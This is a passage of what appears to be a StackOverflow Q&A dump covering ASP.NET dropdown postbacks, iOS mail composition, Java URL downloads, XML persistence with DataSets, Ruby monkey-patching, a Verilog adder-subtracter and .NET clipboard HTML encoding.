AutoPostBack=\"true\"&gt;\n&lt;/asp:DropDownList&gt;\n</code></pre>\n\n<p>See <a href=\"http://msdn.microsoft.com/en-us/library/system.web.ui.webcontrols.listcontrol.autopostback%28v=vs.110%29.aspx\" rel=\"nofollow noreferrer\">ListControl.AutoPostBack Property on MSDN</a> for more info</p>\n\n<blockquote>\n <p>Gets or sets a value indicating whether a postback to the server automatically occurs when the user changes the list selection.</p>\n</blockquote>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238812", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4653/" ]
I have a server dropdownlist in an [Ajax](http://en.wikipedia.org/wiki/Ajax_%28programming%29) updatepanel. When I use the mouse to click on an item it fires the postback but when I click the up/down arrow to change entries, this is not firing. What could be reason?
Try this: ``` <asp:DropDownList ID="DropDownList1" runat="server" AutoPostBack="True" OnSelectedIndexChanged="DropDownList1_SelectedIndexChanged" onKeyUp="this.blur();"> ``` With **onKeyUp="this.blur();"** the control will lose focus when a key is unpressed, and that will trigger the onChange event.
238,814
<p>I'm trying to build an in-game Tell A Friend form like in AppStore. Does anybody know if it can be found anywhere in the SDK? I wouldn't like to reinvent the sliced bread.</p> <p>Thanks!</p>
[ { "answer_id": 238905, "author": "Ben Gottlieb", "author_id": 6694, "author_profile": "https://Stackoverflow.com/users/6694", "pm_score": 1, "selected": false, "text": "<p>There's nothing like this in the SDK, sorry.</p>\n" }, { "answer_id": 239375, "author": "Chris Samuels", "author_id": 30342, "author_profile": "https://Stackoverflow.com/users/30342", "pm_score": 3, "selected": false, "text": "<p>Short of writing your own SMTP client, you can create a message then exit your app by sending a URL to the mail app with openURL.</p>\n\n<pre><code>NSURL *url = [[NSURL alloc] initWithString: @\"mailto:[email protected]?subject=subject&amp;body=body\"];\n[[UIApplication sharedApplication] openURL:url];\n</code></pre>\n\n<p>The user then checks the content and sends the message.</p>\n" }, { "answer_id": 239461, "author": "Stephen Darlington", "author_id": 2998, "author_profile": "https://Stackoverflow.com/users/2998", "pm_score": -1, "selected": false, "text": "<p>As Ben says, no, there's nothing like that in the SDK. My guess is there never will. I imagine that this functionality is implemented on the server side, which is probably the best option anyway.</p>\n" }, { "answer_id": 1282376, "author": "cutsoy", "author_id": 130580, "author_profile": "https://Stackoverflow.com/users/130580", "pm_score": 2, "selected": false, "text": "<p>In meantime, there are some new API's in the iPhone SDK including the MessageKit.framework. That framework makes it possible to add a MFMailComposeViewController.</p>\n\n<p>Hope that works,\nTim</p>\n" }, { "answer_id": 8884907, "author": "Sam Baumgarten", "author_id": 800336, "author_profile": "https://Stackoverflow.com/users/800336", "pm_score": 2, "selected": false, "text": "<p>In your .h file import MessageUI and MFMailComposerViewController:<br>\n<code>#import &lt;MessageUI/MessageUI.h&gt;</code><br>\n<code>#import &lt;MessageUI/MFMailComposeViewController.h&gt;</code><br>\nYou need to make your viewController MFMailComposeViewControllerDelegate by adding: <code>&lt;MFMailComposeViewControllerDelegate&gt;</code> like the following:<br></p>\n\n<pre><code>@interface tellAFriend : UIViewController &lt;MFMailComposeViewControllerDelegate&gt; {\n</code></pre>\n\n<p><br>\nAlso make a IBAction for telling a friend:<br>\n<code>-(IBAction)tellAFriend;</code><br>\n<strong>UPDATE</strong><br>\nFor SMS, also add:<br><code>-(IBAction)tellAFriendViaSMS;</code><br>\n<br></p>\n\n<hr>\n\n<p>Then go into your .m and add the following code:<br></p>\n\n<pre><code>-(IBAction)tellAFriend {\n\nif ([MFMailComposeViewController canSendMail]) {\n\nMFMailComposeViewController *mailView = [[MFMailComposeViewController alloc] init];\nmailView.mailComposeDelegate = self;\n[mailView setSubject:@\"Check Out your_app_name_here\"];\n[mailView setMessageBody:@\"Check out your_app_name_here &lt;br&gt; It's really cool and I think you would like it.\" isHTML:YES];\n\n[self presentModalViewController:mailView animated:YES];\n[mailView release];\n\n}\n\nelse {\n\nNSLog(@”Mail Not Supported”);\n\n}\n\n}\n\n-(void)mailComposeController:(MFMailComposeViewController*)controller didFinishWithResult MFMailComposeResult)result error NSError*)error {\n\n[self dismissModalViewControllerAnimated:YES];\n\n}\n</code></pre>\n\n<hr>\n\n<p><strong>UPDATE</strong>\nYou can also send SMS' using this code:</p>\n\n<pre><code>-(IBAction)tellAFriendViaSMS {\nMFMessageComposeViewController *controller = [[[MFMessageComposeViewController alloc] init] autorelease];\nif([MFMessageComposeViewController canSendText])\n{\n controller.body = @\"Check Out your_app_name_here, itunes_link_here\";\n controller.recipients = [NSArray arrayWithObjects:@\"phoneNumbersHere\", @\"PhoneNumberTwo\", nil]; // Optional\n controller.messageComposeDelegate = self;\n [self presentModalViewController:controller animated:YES];\n}\n}\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238814", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31515/" ]
I'm trying to build an in-game Tell A Friend form like in AppStore. Does anybody know if it can be found anywhere in the SDK? I wouldn't like to reinvent the sliced bread. Thanks!
Short of writing your own SMTP client, you can create a message then exit your app by sending a URL to the mail app with openURL. ``` NSURL *url = [[NSURL alloc] initWithString: @"mailto:[email protected]?subject=subject&body=body"]; [[UIApplication sharedApplication] openURL:url]; ``` The user then checks the content and sends the message.
238,824
<p>How do I call a url in order to process the results?</p> <p>I have a stand-alone reporting servlet which I link to for reports. I want to email these reports now, if I were doing this in the browser, I could just use an xhttprequest, and process the results - I basically want to do the same thing in Java, but I'm not sure how to go about it.</p> <p><strong>UPDATE</strong>: I'm looking to get a file back from the url (whether that be a pdf or html etc).</p> <p><strong>UPDATE</strong>: This will be running purely on the server - there is no request that triggers the emailing, rather it is a scheduled email.</p>
[ { "answer_id": 238831, "author": "Moishe Lettvin", "author_id": 23786, "author_profile": "https://Stackoverflow.com/users/23786", "pm_score": 1, "selected": false, "text": "<p>Check out the URL and URLConnection classes. Here's some documentation: <a href=\"http://www.exampledepot.com/egs/java.net/Post.html\" rel=\"nofollow noreferrer\">http://www.exampledepot.com/egs/java.net/Post.html</a></p>\n" }, { "answer_id": 238845, "author": "Vincent Ramdhanie", "author_id": 27439, "author_profile": "https://Stackoverflow.com/users/27439", "pm_score": 1, "selected": false, "text": "<p>If the intention is to run another resource while your servlet is executing with out transferring control to the other resource you can try using include(request, response).</p>\n\n<pre><code>RequestDispatcher dispatcher =\n getServletContext().getRequestDispatcher(\"/url of other resource\");\nif (dispatcher != null)\n dispatcher.include(request, response);\n} \n</code></pre>\n\n<p>You may put this on a servlet and the result of the other resource is included on your servlet.</p>\n\n<p>EDIT: Since you are looking to get a file back then this solution works for that too.</p>\n" }, { "answer_id": 238850, "author": "albertb", "author_id": 26715, "author_profile": "https://Stackoverflow.com/users/26715", "pm_score": 4, "selected": true, "text": "<pre><code>public byte[] download(URL url) throws IOException {\n URLConnection uc = url.openConnection();\n int len = uc.getContentLength();\n InputStream is = new BufferedInputStream(uc.getInputStream());\n try {\n byte[] data = new byte[len];\n int offset = 0;\n while (offset &lt; len) {\n int read = is.read(data, offset, data.length - offset);\n if (read &lt; 0) {\n break;\n }\n offset += read;\n }\n if (offset &lt; len) {\n throw new IOException(\n String.format(\"Read %d bytes; expected %d\", offset, len));\n }\n return data;\n } finally {\n is.close();\n }\n}\n</code></pre>\n\n<p>Edit: Cleaned up the code.</p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/238824", "https://Stackoverflow.com", "https://Stackoverflow.com/users/943/" ]
How do I call a url in order to process the results? I have a stand-alone reporting servlet which I link to for reports. I want to email these reports now, if I were doing this in the browser, I could just use an xhttprequest, and process the results - I basically want to do the same thing in Java, but I'm not sure how to go about it. **UPDATE**: I'm looking to get a file back from the url (whether that be a pdf or html etc). **UPDATE**: This will be running purely on the server - there is no request that triggers the emailing, rather it is a scheduled email.
``` public byte[] download(URL url) throws IOException { URLConnection uc = url.openConnection(); int len = uc.getContentLength(); InputStream is = new BufferedInputStream(uc.getInputStream()); try { byte[] data = new byte[len]; int offset = 0; while (offset < len) { int read = is.read(data, offset, data.length - offset); if (read < 0) { break; } offset += read; } if (offset < len) { throw new IOException( String.format("Read %d bytes; expected %d", offset, len)); } return data; } finally { is.close(); } } ``` Edit: Cleaned up the code.
238,829
<p>Here is the story. I was doing a program, every time the program is closed all the data(File links) created by the user is lost, so whenever the user reopen the program, he does have to do all the work again.</p> <p>So I decided to use an xml file to store the data, because a dbms would take too long to load and code to handle a plain text file would be hard to maintain.</p> <p>The data is mainly composed of Links that stores two file paths, one for the origin and one for the destination, one boolean that represent the state of the link before the program is closed, and a few other less important things.</p> <p>When the program loads the data should be read restoring the previous state of the application.</p> <p>So I made a xml file like this:</p> <pre><code>... &lt;Directories&gt; &lt;Directory id="0"&gt; &lt;FilePath&gt;C:\Test1&lt;/FilePath&gt; &lt;PathSeparator&gt;\&lt;/PathSeparator&gt; &lt;/Directory&gt; ... </code></pre> <p>And used a DataSet to get the data.</p> <pre><code>Directory getDirectory() { ds = new DataSet(); ds.ReadXml(xmlPath); DataRow[] myRow = ds.Tables["Directory"]. Select("id ="+id.ToString());// "id = id" string temp = myRow[0]["FilePath"].ToString(); Directory result = new Directory(); result.path = temp; temp = myRow[0]["PathSeparator"].ToString(); result.pathSeparator = temp[0]; return result; } </code></pre> <p>All that works just fine, but then I tried to add new "rows" to the xml:</p> <pre><code>public static int addDirectory(DataSet ds, char pathSeparator, string path) { DataRow myRow = ds.Tables["Directory"].NewRow(); myRow.ItemArray[0] = 8; myRow.ItemArray[1] = path; myRow.ItemArray[2] = pathSeparator.ToString(); myRow.ItemArray[3] = "lol"; ds.Tables["Directory"].Rows.Add(myRow); ds.AcceptChanges(); ds.WriteXml(ApplicationDataManager.xmlPath); return 8; } </code></pre> <p>But all this writes is to a random place on the .xml</p> <p>What am I doing wrong?</p> <p>By the way if anyone have any suggestions about how I should store that data, I would be glad to hear(read).</p> <p>Thanks in advance!</p> <p>[Update] File Links are used to create a connection between two directories, so they can be synchronized.</p>
[ { "answer_id": 238859, "author": "Paul Prewett", "author_id": 15751, "author_profile": "https://Stackoverflow.com/users/15751", "pm_score": 3, "selected": true, "text": "<p>If LINQ is in your toolbox, I would highly recommend using that to read/write xml as opposed to a DataTable. It's much more fluent and intuitive and you can control where the nodes go... wherever you add them to the collection is where they appear in the resulting XML.</p>\n\n<p>Here's a quick intro and there's a metric ton of information out there on the web about it if you search a bit:\n<a href=\"http://www.hookedonlinq.com/LINQtoXML5MinuteOverview.ashx\" rel=\"nofollow noreferrer\">http://www.hookedonlinq.com/LINQtoXML5MinuteOverview.ashx</a></p>\n" }, { "answer_id": 238863, "author": "Mitchel Sellers", "author_id": 13279, "author_profile": "https://Stackoverflow.com/users/13279", "pm_score": 0, "selected": false, "text": "<p>Your best option if you want a quick and dirty way is to load the users information into the dataset, call the \"WriteXml\" method to save and use \"ReadXml\" to pull it back in. The XML format that the DataSet uses on its own will come in and out in the same format.</p>\n\n<p>You also have many other options, but the DataSet is the most quick and dirty way of doing it.</p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/238829", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2605/" ]
Here is the story. I was doing a program, every time the program is closed all the data(File links) created by the user is lost, so whenever the user reopen the program, he does have to do all the work again. So I decided to use an xml file to store the data, because a dbms would take too long to load and code to handle a plain text file would be hard to maintain. The data is mainly composed of Links that stores two file paths, one for the origin and one for the destination, one boolean that represent the state of the link before the program is closed, and a few other less important things. When the program loads the data should be read restoring the previous state of the application. So I made a xml file like this: ``` ... <Directories> <Directory id="0"> <FilePath>C:\Test1</FilePath> <PathSeparator>\</PathSeparator> </Directory> ... ``` And used a DataSet to get the data. ``` Directory getDirectory() { ds = new DataSet(); ds.ReadXml(xmlPath); DataRow[] myRow = ds.Tables["Directory"]. Select("id ="+id.ToString());// "id = id" string temp = myRow[0]["FilePath"].ToString(); Directory result = new Directory(); result.path = temp; temp = myRow[0]["PathSeparator"].ToString(); result.pathSeparator = temp[0]; return result; } ``` All that works just fine, but then I tried to add new "rows" to the xml: ``` public static int addDirectory(DataSet ds, char pathSeparator, string path) { DataRow myRow = ds.Tables["Directory"].NewRow(); myRow.ItemArray[0] = 8; myRow.ItemArray[1] = path; myRow.ItemArray[2] = pathSeparator.ToString(); myRow.ItemArray[3] = "lol"; ds.Tables["Directory"].Rows.Add(myRow); ds.AcceptChanges(); ds.WriteXml(ApplicationDataManager.xmlPath); return 8; } ``` But all this writes is to a random place on the .xml What am I doing wrong? By the way if anyone have any suggestions about how I should store that data, I would be glad to hear(read). Thanks in advance! [Update] File Links are used to create a connection between two directories, so they can be synchronized.
If LINQ is in your toolbox, I would highly recommend using that to read/write xml as opposed to a DataTable. It's much more fluent and intuitive and you can control where the nodes go... wherever you add them to the collection is where they appear in the resulting XML. Here's a quick intro and there's a metric ton of information out there on the web about it if you search a bit: <http://www.hookedonlinq.com/LINQtoXML5MinuteOverview.ashx>
238,878
<p>I am still very new to Ruby (reading through the Pickaxe and spending most of my time in <code>irb</code>), and now that I know it's possible to patch classes in Ruby, I'm wondering when it's acceptable to do so, specifically whether it's acceptable to patch Ruby's base classes. For example: I answered another Ruby question <a href="https://stackoverflow.com/questions/238684/subtract-n-hours-from-a-datetime-in-ruby#238718">here</a> where the poster wanted to know how to subtract hours from a <code>DateTime</code>. Since the <code>DateTime</code> class doesn't seem to provide this functionality, I posted an answer that patches the <code>DateTime</code> and <code>Fixnum</code> classes as a possible solution. This is the code I submitted:</p> <pre><code>require 'date' # A placeholder class for holding a set number of hours. # Used so we can know when to change the behavior # of DateTime#-() by recognizing when hours are explicitly passed in. class Hours attr_reader :value def initialize(value) @value = value end end # Patch the #-() method to handle subtracting hours # in addition to what it normally does class DateTime alias old_subtract - def -(x) case x when Hours; return DateTime.new(year, month, day, hour-x.value, min, sec) else; return self.old_subtract(x) end end end # Add an #hours attribute to Fixnum that returns an Hours object. # This is for syntactic sugar, allowing you to write "someDate - 4.hours" for example class Fixnum def hours Hours.new(self) end end </code></pre> <p>I patched the classes because I thought in this instance it would result in a clear, concise syntax for subtracting a fixed number of hours from a <code>DateTime</code>. Specifically, you could do something like this as a result of the above code:</p> <pre><code>five_hours_ago = DateTime.now - 5.hours </code></pre> <p>Which seems to be fairly nice to look at and easy to understand; however, I'm not sure whether it's a good idea to be messing with the functionality of <code>DateTime</code>'s <code>-</code> operator.</p> <p>The only alternatives that I can think of for this situation would be:</p> <p><strong>1. Simply create a new <code>DateTime</code> object on-the-fly, computing the new hour value in the call to <code>new</code></strong> <br/></p> <pre><code>new_date = DateTime.new(old_date.year, old_date.year, old_date.month, old_date.year.day, old_date.hour - hours_to_subtract, date.min, date.sec) </code></pre> <p><br/> <strong>2. Write a utility method that accepts a <code>DateTime</code> and the number of hours to subtract from it</strong> <br/></p> <p>Basically, just a wrapper around method (1):</p> <pre><code>def subtract_hours(date, hours) return DateTime.new(date.year, date.month, date.day, date.hour - hours, date.min, date.sec) end </code></pre> <p><br/> <strong>3. Add a new method to <code>DateTime</code> instead of changing the existing behavior of <code>#-()</code></strong></p> <p>Perhaps a new <code>DateTime#less</code> method that could work together with the <code>Fixnum#hours</code> patch, to allow syntax like this:</p> <pre><code>date.less(5.hours) </code></pre> <hr/> <p>However, as I already mentioned, I took the patching approach because I thought it resulted in a much more expressive syntax.</p> <p>Is there anything wrong with my approach, or should I be using one of the 3 alternatives (or another one I haven't thought of) in order to do this? I have the feeling that patching is becoming my new 'hammer' for problems in Ruby, so I'd like to get some feedback on whether I'm doing things the "Ruby way" or not.</p>
[ { "answer_id": 238888, "author": "Dónal", "author_id": 2648, "author_profile": "https://Stackoverflow.com/users/2648", "pm_score": 3, "selected": false, "text": "<p>Personally, I think it's acceptable to add methods to the base classes, but unacceptable to modify the implementation of existing methods.</p>\n" }, { "answer_id": 238899, "author": "dicroce", "author_id": 3886, "author_profile": "https://Stackoverflow.com/users/3886", "pm_score": 0, "selected": false, "text": "<p>I think its like this: If you honestly feel that most other programmers would agree with your patches, then fine. If not, perhaps you should instead be implementing a code library?</p>\n" }, { "answer_id": 238917, "author": "glenn mcdonald", "author_id": 7919, "author_profile": "https://Stackoverflow.com/users/7919", "pm_score": 3, "selected": false, "text": "<p>The <em>safest</em> way is to define your own class that inherits from the built-in one, then add your new stuff to your new class.</p>\n\n<pre><code>class MyDateTime &lt; DateTime\n alias...\n def...\n</code></pre>\n\n<p>But obviously now you only get the new behavior if you declare objects of your new class.</p>\n" }, { "answer_id": 238921, "author": "Avdi", "author_id": 20487, "author_profile": "https://Stackoverflow.com/users/20487", "pm_score": 5, "selected": true, "text": "<p>My personal answer, in a nutshell: <a href=\"http://avdi.org/devblog/2008/02/25/full-disclosure/\" rel=\"noreferrer\">the core-class patching hammer should be at the bottom of your toolbox</a>. There are a lot of other techniques available to you, and in almost all cases they are sufficient, cleaner, and more <a href=\"http://avdi.org/devblog/2008/03/25/sustainable-development-in-ruby-introduction/\" rel=\"noreferrer\">sustainable</a>.</p>\n\n<p>It really depends on the environment in which you are coding, though. If it's a personal project - sure, patch to your heart's content! The problems begin to arise when you are working on a large codebase over a long period of time with a large group of programmers. In the organization I work for, which has Ruby codebases of over 100KLOC and and twenty or so developers, we have started to crack down pretty hard on monkey patching, because we've seen it lead to head-scratching, man-hour wasting behavior far too often. At this point we pretty much only tolerate it for temporarily patching third-party code which either hasn't yet incorporated or won't incorporate our source patches.</p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/238878", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17862/" ]
I am still very new to Ruby (reading through the Pickaxe and spending most of my time in `irb`), and now that I know it's possible to patch classes in Ruby, I'm wondering when it's acceptable to do so, specifically whether it's acceptable to patch Ruby's base classes. For example: I answered another Ruby question [here](https://stackoverflow.com/questions/238684/subtract-n-hours-from-a-datetime-in-ruby#238718) where the poster wanted to know how to subtract hours from a `DateTime`. Since the `DateTime` class doesn't seem to provide this functionality, I posted an answer that patches the `DateTime` and `Fixnum` classes as a possible solution. This is the code I submitted: ``` require 'date' # A placeholder class for holding a set number of hours. # Used so we can know when to change the behavior # of DateTime#-() by recognizing when hours are explicitly passed in. class Hours attr_reader :value def initialize(value) @value = value end end # Patch the #-() method to handle subtracting hours # in addition to what it normally does class DateTime alias old_subtract - def -(x) case x when Hours; return DateTime.new(year, month, day, hour-x.value, min, sec) else; return self.old_subtract(x) end end end # Add an #hours attribute to Fixnum that returns an Hours object. # This is for syntactic sugar, allowing you to write "someDate - 4.hours" for example class Fixnum def hours Hours.new(self) end end ``` I patched the classes because I thought in this instance it would result in a clear, concise syntax for subtracting a fixed number of hours from a `DateTime`. Specifically, you could do something like this as a result of the above code: ``` five_hours_ago = DateTime.now - 5.hours ``` Which seems to be fairly nice to look at and easy to understand; however, I'm not sure whether it's a good idea to be messing with the functionality of `DateTime`'s `-` operator. The only alternatives that I can think of for this situation would be: **1. Simply create a new `DateTime` object on-the-fly, computing the new hour value in the call to `new`** ``` new_date = DateTime.new(old_date.year, old_date.year, old_date.month, old_date.year.day, old_date.hour - hours_to_subtract, date.min, date.sec) ``` **2. Write a utility method that accepts a `DateTime` and the number of hours to subtract from it** Basically, just a wrapper around method (1): ``` def subtract_hours(date, hours) return DateTime.new(date.year, date.month, date.day, date.hour - hours, date.min, date.sec) end ``` **3. Add a new method to `DateTime` instead of changing the existing behavior of `#-()`** Perhaps a new `DateTime#less` method that could work together with the `Fixnum#hours` patch, to allow syntax like this: ``` date.less(5.hours) ``` --- However, as I already mentioned, I took the patching approach because I thought it resulted in a much more expressive syntax. Is there anything wrong with my approach, or should I be using one of the 3 alternatives (or another one I haven't thought of) in order to do this? I have the feeling that patching is becoming my new 'hammer' for problems in Ruby, so I'd like to get some feedback on whether I'm doing things the "Ruby way" or not.
My personal answer, in a nutshell: [the core-class patching hammer should be at the bottom of your toolbox](http://avdi.org/devblog/2008/02/25/full-disclosure/). There are a lot of other techniques available to you, and in almost all cases they are sufficient, cleaner, and more [sustainable](http://avdi.org/devblog/2008/03/25/sustainable-development-in-ruby-introduction/). It really depends on the environment in which you are coding, though. If it's a personal project - sure, patch to your heart's content! The problems begin to arise when you are working on a large codebase over a long period of time with a large group of programmers. In the organization I work for, which has Ruby codebases of over 100KLOC and and twenty or so developers, we have started to crack down pretty hard on monkey patching, because we've seen it lead to head-scratching, man-hour wasting behavior far too often. At this point we pretty much only tolerate it for temporarily patching third-party code which either hasn't yet incorporated or won't incorporate our source patches.
238,894
<p>I am trying to design a 4-bit adder subtracter in verilog. This is only the second thing I have ever written in verilog, and I don't know all the correct syntax yet. This is the module I have so far:</p> <pre><code>module Question3(carryin, X, Y, Z, S, carryout, overflow); parameter n = 4; input carryin, Z; input [n-1:0]X, Y; output reg [n-1:0]S; output reg carryout, overflow; if(Z==0) begin Y = not(y) + 4'b0001; end always @(X, Y, carryin) begin {carryout, S} = X + Y + carryin; overflow = carryout ^ X[n-1]^Y[n-1]^S[n-1]; end endmodule </code></pre> <p>My compiler (xilinx 10.1), keeps saying "Syntax error near if." I have tried many different ways of doing the conversion, including just using a Case that takes Y as an argument, then checks all the possible 4-bit combinations, and converts them to two's complement.</p> <p>Z is what determines if the adder does subtraction or addition. If it's 0, it means subtraction, and I want to convert y to two's complement, then just do regular addition. I'm sure the rest of the adder is correct, I just do not know what is wrong with the part where I'm trying to convert.</p>
[ { "answer_id": 238916, "author": "Andru Luvisi", "author_id": 5922, "author_profile": "https://Stackoverflow.com/users/5922", "pm_score": 1, "selected": false, "text": "<p>You are using a lower case \"y\" in \"Y = not(y) + 4'b0001;\"</p>\n\n<p>Also, you're using more additions than you need to. X-Y is the same thing as NOT(NOT(X)+Y).</p>\n" }, { "answer_id": 238939, "author": "Aditya Mukherji", "author_id": 25990, "author_profile": "https://Stackoverflow.com/users/25990", "pm_score": 0, "selected": false, "text": "<p>put the if statement within an initial block<br>\n<a href=\"http://www.asic-world.com/verilog/vbehave1.html\" rel=\"nofollow noreferrer\">http://www.asic-world.com/verilog/vbehave1.html</a></p>\n" }, { "answer_id": 1005430, "author": "Steve K", "author_id": 121394, "author_profile": "https://Stackoverflow.com/users/121394", "pm_score": 4, "selected": true, "text": "<pre><code>reg [n-1:0] Y_compl;\n\nalways @( Z, Y, X, carryin ) begin\n Y_ = ( ~Y + 4'b0001 );\n if ( Z == 1'b0 ) begin\n {carryout, S} = X + Y_compl + carryin;\n overflow = carryout ^ X[n-1] ^ Y_compl[n-1] ^ S[n-1];\n end\n else begin\n {carryout, S} = X + Y + carryin;\n overflow = carryout ^ X[n-1] ^ Y[n-1] ^ S[n-1];\n end\n\nend\n</code></pre>\n\n<p>A couple of important points.</p>\n\n<ol>\n<li>Put the if statement inside the always block. Do not use two always blocks, you'll create a race condition in the simulator.</li>\n<li>I created a new variable, Y_ because using Y, which is an input, remember, on the left hand side of an assignment will probably infer latches or do something else nasty when you synthesize. </li>\n<li>I suggest using the bitwise inversion operator '~' to invert Y instead if the 'not'\nprimitive. The synthesis tool has more freedom to optimize your code this way.</li>\n<li>Double check for correct results, it's been awhile since I built an adder.</li>\n</ol>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/238894", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23323/" ]
I am trying to design a 4-bit adder subtracter in verilog. This is only the second thing I have ever written in verilog, and I don't know all the correct syntax yet. This is the module I have so far: ``` module Question3(carryin, X, Y, Z, S, carryout, overflow); parameter n = 4; input carryin, Z; input [n-1:0]X, Y; output reg [n-1:0]S; output reg carryout, overflow; if(Z==0) begin Y = not(y) + 4'b0001; end always @(X, Y, carryin) begin {carryout, S} = X + Y + carryin; overflow = carryout ^ X[n-1]^Y[n-1]^S[n-1]; end endmodule ``` My compiler (xilinx 10.1), keeps saying "Syntax error near if." I have tried many different ways of doing the conversion, including just using a Case that takes Y as an argument, then checks all the possible 4-bit combinations, and converts them to two's complement. Z is what determines if the adder does subtraction or addition. If it's 0, it means subtraction, and I want to convert y to two's complement, then just do regular addition. I'm sure the rest of the adder is correct, I just do not know what is wrong with the part where I'm trying to convert.
``` reg [n-1:0] Y_compl; always @( Z, Y, X, carryin ) begin Y_ = ( ~Y + 4'b0001 ); if ( Z == 1'b0 ) begin {carryout, S} = X + Y_compl + carryin; overflow = carryout ^ X[n-1] ^ Y_compl[n-1] ^ S[n-1]; end else begin {carryout, S} = X + Y + carryin; overflow = carryout ^ X[n-1] ^ Y[n-1] ^ S[n-1]; end end ``` A couple of important points. 1. Put the if statement inside the always block. Do not use two always blocks, you'll create a race condition in the simulator. 2. I created a new variable, Y\_ because using Y, which is an input, remember, on the left hand side of an assignment will probably infer latches or do something else nasty when you synthesize. 3. I suggest using the bitwise inversion operator '~' to invert Y instead if the 'not' primitive. The synthesis tool has more freedom to optimize your code this way. 4. Double check for correct results, it's been awhile since I built an adder.
238,898
<p>Has anyone noticed that if you retrieve HTML from the clipboard, it gets the encoding wrong and injects weird characters?</p> <p>For example, executing a command like this:</p> <pre><code>string s = (string) Clipboard.GetData(DataFormats.Html) </code></pre> <p>Results in stuff like:</p> <pre><code>&lt;FONT size=-2&gt;  &lt;A href="/advanced_search?hl=en"&gt;Advanced Search&lt;/A&gt;&lt;BR&gt;  &lt;A href="/preferences?hl=en"&gt;Preferences&lt;/A&gt;&lt;BR&gt;  &lt;A href="/language_tools?hl=en"&gt;Language Tools&lt;/A&gt;&lt;/FONT&gt; </code></pre> <p><em>Not sure how MarkDown will process this, but there are weird characters in the resulting markup above.</em></p> <p>It appears that the bug is with the .NET framework. What do you think is the best way to get correctly-encoded HTML from the clipboard?</p>
[ { "answer_id": 239161, "author": "Ken Paul", "author_id": 26671, "author_profile": "https://Stackoverflow.com/users/26671", "pm_score": 1, "selected": false, "text": "<p>You have to interpret the data as UTF-8. See <a href=\"https://stackoverflow.com/questions/189640/ms-office-hyperlinks-change-code-page\">MS Office hyperlinks change code page?</a>.</p>\n" }, { "answer_id": 17532388, "author": "Phil Perry", "author_id": 2433987, "author_profile": "https://Stackoverflow.com/users/2433987", "pm_score": 0, "selected": false, "text": "<p>I don't know what your original source document is, but be aware that Word and Outlook provide several versions of the clipboard in different encodings. One is usually Windows-1252 and another is UTF-8. Possibly you're grabbing the UTF-8 encoded version by default, when you're expecting the Windows-1252 (Latin-1 + Smart Quotes)? Non-ASCII characters would show up as multiple odd Latin-1 accented characters. Most \"Smart Quotes\" are not in the Latin-1 set and are often three bytes in UTF-8.</p>\n\n<p>Can you specify which encoding you want the clipboard contents in?</p>\n" }, { "answer_id": 19068371, "author": "Julo", "author_id": 2826535, "author_profile": "https://Stackoverflow.com/users/2826535", "pm_score": 2, "selected": false, "text": "<p>In this case it is not so visible as it was in my case. Today I tried to copy data from clipboard but there were a few unicode characters. The data I got were as if I would read a UTF-8 encoded file in Windows-1250 encoding <em>(local encoding in my Windows)</em>.</p>\n\n<p>It seems you case is the same. If you save the html data <em>(remember to put non-breakable space = 0xa0 after the  character, not a standard space)</em> in Windows-1252 <em>(or Windows-1250; both works)</em>. Then open this file as a UTF-8 file and you will see what there should be.</p>\n\n<p>For my other project I made a function that fix data with corrupted encoding.</p>\n\n<p>In this case simple conversion should be sufficient:</p>\n\n<pre><code>byte[] data = Encoding.Default.GetBytes(text);\ntext = Encoding.UTF8.GetString(data);\n</code></pre>\n\n<p>My original function is a little bit more complex and contains tests to ensure that data are not corrupted...</p>\n\n<pre><code>public static bool FixMisencodedUTF8(ref string text, Encoding encoding)\n{\n if (string.IsNullOrEmpty(text))\n return false;\n byte[] data = encoding.GetBytes(text);\n // there should not be any character outside source encoding\n string newStr = encoding.GetString(data);\n if (!string.Equals(text, newStr)) // if there is any character \"outside\"\n return false; // leave, the input is in a different encoding\n if (IsValidUtf8(data) == 0) // test data to be valid UTF-8 byte sequence\n return false; // if not, can not convert to UTF-8\n text = Encoding.UTF8.GetString(data);\n return true;\n}\n</code></pre>\n\n<p>I know that this is not the best <em>(or correct solution)</em> but I did not found any other way how to fix the input...</p>\n\n<p><strong>EDIT</strong>: <em>(July 20, 2017)</em></p>\n\n<p>It Seems like the Microsoft already found this error and now it works correctly. I'm not sure whether the problem is in some frameworks, but I know for sure, that now the application uses a different framework as in time, when I wrote the answer. <em>(Now it is 4.5; the previous version was 2.0)</em>\n<em>(Now all my code fails in parsing the data. There is another problem to determine the correct behaviour for application with fix already aplied and without fix.)</em></p>\n" }, { "answer_id": 29662404, "author": "Огњен Шобајић", "author_id": 638041, "author_profile": "https://Stackoverflow.com/users/638041", "pm_score": 0, "selected": false, "text": "<p>Try this:</p>\n\n<pre><code>System.Windows.Forms.Clipboard.GetText(System.Windows.Forms.TextDataFormat.Html);\n</code></pre>\n" }, { "answer_id": 38067962, "author": "Markus", "author_id": 6008873, "author_profile": "https://Stackoverflow.com/users/6008873", "pm_score": 1, "selected": false, "text": "<p><strong>DataFormats.Html</strong> <a href=\"http://www.i18nqa.com/debug/utf8-debug.html\" rel=\"nofollow noreferrer\">specification</a> states it's encoded in UTF-8. But there's a bug in .NET 4 Framework and lower, and it actually reads as UTF-8 as <strong>Windows-1252</strong>.</p>\n\n<p>You get allot of wrong encodings, leading funny/bad characters such as \n'Å','‹','Å’','Ž','Å¡','Å“','ž','Ÿ','Â','¡','¢','£','¤','Â¥','¦','§','¨','©'</p>\n\n<p>Full explanation here\n<a href=\"http://www.i18nqa.com/debug/utf8-debug.html\" rel=\"nofollow noreferrer\">Debugging Chart Mapping Windows-1252 Characters to UTF-8 Bytes to Latin-1 Characters</a></p>\n\n<p>Soln: Create a translation dictionary and search and replace.</p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/238898", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31015/" ]
